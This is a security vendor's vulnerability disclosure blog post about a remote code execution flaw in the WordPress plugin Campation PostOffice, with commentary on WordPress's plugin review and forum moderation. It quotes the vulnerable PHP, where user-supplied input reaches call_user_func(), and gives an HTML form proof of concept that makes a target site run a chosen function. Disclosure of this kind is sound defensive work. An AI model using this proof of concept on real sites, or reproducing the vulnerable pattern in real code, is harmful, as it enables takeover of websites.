14 Feb 2022

Despite “Manual Security Review”, Brand New WordPress Plugin Contains Remote Code Execution (RCE) Vulnerability

Before new plugins are allowed in to WordPress’ plugin directory, they are claimed to go through a manual review:

After your plugin is manually reviewed, it will either be approved or you will be emailed and asked to provide more information and/or make corrections.

That is supposed to involve a review of the security of the plugin:

You will get an automated email telling you about the submission immediately. At that point, someone will manually download and review your code. If we find no issues with the security, documentation, or presentation, your plugin will be approved. If we determine there are issues, you will receive a second email with details explaining what needs to be fixed.

The head of WordPress, Matt Mullenweg, though, seems to believe those reviews don’t happen, but apparently doesn’t see an issue with claiming they are occurring (the WordPress website claims that one person has somehow reviewed 46,800 plugins).

Either the security reviews are not happening or they are missing things they shouldn’t, as once again our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities caught a serious security vulnerability in a brand new plugin. We have for years offered to provide the team that is supposed to be doing the reviews, either access to tools we have that warn about such things or help them have the capability themselves, without our offer being taken up or this problem otherwise being addressed.

This time the vulnerability exists in a plugin named Campation PostOffice, which has a remote code execution (RCE) vulnerability.

In the file /cron/includes/cptn-po-cron-slave.php, there is code that runs when accessing a page that doesn’t exist on the website:

5
6
7
8
9
10
11
12
add_action('template_redirect', 'cptn_po_cron_slave_url');
function cptn_po_cron_slave_url()
   {
   global $wpdb, $wp_query;
 
   // check for pseudo url
   if ($wp_query->is_404())  
      {

Further in to that code, user input, in the form of the “job” POST input, is passed to the function call_user_func() that runs a specified built-in or user-defined function, which permits remote code execution:

22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
		 if(isset($_POST['job']) AND !empty($_POST['job']))
   		    $job = sanitize_text_field($_POST['job']);
 
         header("Connection: close");
		 ignore_user_abort(true);
		 ob_start();
		 echo('xxx');
		 $size = ob_get_length();
		 header("Content-Length: $size");
		 header("Content-Encoding: none");
		 ob_end_flush();
		 flush();
		 // connection is closed at this point
 
		 // start actual processing here
		 if(!empty($job) AND function_exists($job))
            call_user_func($job);

WordPress Causes Full Disclosure

As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)

You can notify the developer of this issue on the forum as well.

Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will cause the specified function to run.

Replace “[path to WordPress]” with the location of WordPress and “[function]” with the function to be run.

<html>
<body>
<form action="http://[path to WordPress]/cptnpocronslave" method="POST">
<input type="hidden" name="job" value="[function]" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

One thought on “Despite “Manual Security Review”, Brand New WordPress Plugin Contains Remote Code Execution (RCE) Vulnerability

Leave a Reply

Your email address will not be published.